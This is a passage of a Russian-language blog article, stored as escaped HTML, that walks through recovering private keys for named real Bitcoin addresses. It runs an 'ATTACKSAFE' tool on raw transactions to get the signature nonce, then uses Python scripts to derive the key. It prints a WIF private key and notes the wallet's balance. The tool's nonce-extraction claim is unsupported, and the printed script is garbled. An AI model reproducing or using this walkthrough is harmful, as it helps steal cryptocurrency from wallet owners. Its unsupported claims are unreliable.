\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c71\/971\/5aa\/c719715aad6e07cde2ed9f3170b3e711.png\" alt=\"\" title=\"\" width=\"1024\" height=\"318\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c71\/971\/5aa\/c719715aad6e07cde2ed9f3170b3e711.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/41c\/56e\/3a8\/41c56e3a838d88d4c034b3c306605f34.png\" alt=\"\" title=\"\" width=\"1024\" height=\"484\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/41c\/56e\/3a8\/41c56e3a838d88d4c034b3c306605f34.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226 RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/be0\/35a\/b5a\/be035ab5ad4a9ed0bd9692a4dbaa6e39.png\" alt=\"\" title=\"\" width=\"1024\" height=\"93\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/be0\/35a\/b5a\/be035ab5ad4a9ed0bd9692a4dbaa6e39.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 point2gen  =   (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226 R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0c0\/d3f\/85c\/0c0d3f85c631f39bcc279540a9b7262e.png\" alt=\"\" title=\"\" width=\"804\" height=\"278\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0c0\/d3f\/85c\/0c0d3f85c631f39bcc279540a9b7262e.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c7c\/0ee\/a0a\/c7c0eea0a85b6cd796039b228ad7c1e1.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c7c\/0ee\/a0a\/c7c0eea0a85b6cd796039b228ad7c1e1.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/551\/08f\/099\/55108f099c1e03535dd97c49543d3800.png\" alt=\"www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" title=\"www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" width=\"1024\" height=\"449\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/551\/08f\/099\/55108f099c1e03535dd97c49543d3800.png\"\/><figcaption>www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/figcaption><\/figure>\n<p><code>BALANCE: $ 711.37<\/code><\/p>\n<hr\/>\n<p><code>\u21162<\/code><\/p>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0435:<\/p>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/700\/a9c\/db6\/700a9cdb622052aa9913786aa6ed70fa.png\" alt=\"\" title=\"\" width=\"1014\" height=\"181\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/700\/a9c\/db6\/700a9cdb622052aa9913786aa6ed70fa.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/30b\/d87\/90f\/30bd8790f0263c64f38b1b318c6472d2.png\" alt=\"\" title=\"\" width=\"1009\" height=\"175\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/30b\/d87\/90f\/30bd8790f0263c64f38b1b318c6472d2.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3ae\/919\/3b4\/3ae9193b4b8b5b950212c511aaffa5a9.png\" alt=\"\" title=\"\" width=\"1024\" height=\"91\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3ae\/919\/3b4\/3ae9193b4b8b5b950212c511aaffa5a9.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3b0\/bfa\/9f4\/3b0bfa9f4ab231d0e93d4de6e8e15689.png\" alt=\"\" title=\"\" width=\"1024\" height=\"261\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3b0\/bfa\/9f4\/3b0bfa9f4ab231d0e93d4de6e8e15689.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913 Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/aad\/594\/1f1\/aad5941f1b31eda3a6e8b493e6407eaf.png\" alt=\"\" title=\"\" width=\"1024\" height=\"313\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aad\/594\/1f1\/aad5941f1b31eda3a6e8b493e6407eaf.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bda\/92c\/e8a\/bda92ce8a7a2b7557efb157054c01585.png\" alt=\"\" title=\"\" width=\"1024\" height=\"466\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bda\/92c\/e8a\/bda92ce8a7a2b7557efb157054c01585.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/83d\/ea1\/9eb\/83dea19eb4ae9edb7be556b6f1a39901.png\" alt=\"\" title=\"\" width=\"1024\" height=\"85\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/83d\/ea1\/9eb\/83dea19eb4ae9edb7be556b6f1a39901.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913 Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d point2gen  =   (0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d 